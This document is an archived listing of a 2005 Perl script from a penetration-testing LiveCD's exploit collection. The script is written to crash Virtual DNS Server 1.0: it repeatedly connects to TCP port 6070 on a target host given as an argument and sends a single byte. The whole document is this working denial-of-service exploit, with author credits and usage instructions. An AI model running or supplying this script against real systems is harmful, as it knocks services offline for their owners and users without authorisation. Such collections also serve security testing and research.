home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / dns / virtualdns / VDNS.PL < prev   
Perl Script  |  2005-02-12  |  774b  |  23 lines
  1. #!/usr/bin/perl
  2. #
  3. # VDNS.PL - Crashes Virtual DNS Server 1.0
  4. # Written by nemesystm of the DHC
  5. # http://dhcorp.cjb.net - neme-dhc@hushmail.com
  6. #
  7. ####
  8. use Socket;
  9.  
  10. die "$0 - Stops Virtual DNS Server 1.0.
  11. written by nemesystm of the DHC
  12. http://dhcorp.cjb.net - neme-dhc\@hushmail.com
  13. usage: perl $0 target.com\n" if !defined $ARGV[0];
  14.  
  15. for ($count = 0; $count <= 3; $count++) {
  16.         $serverIP = inet_aton($ARGV[0]);
  17.         $serverAddr = sockaddr_in(6070, $serverIP);
  18.         socket(CLIENT, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  19.         if (connect (CLIENT, $serverAddr)) {
  20.                 send (CLIENT, "A", 0);
  21.                 close (CLIENT);
  22.         } else { print ("if the number shown is 2, it worked"); die "Can't connect: $count\n"; }
  23. }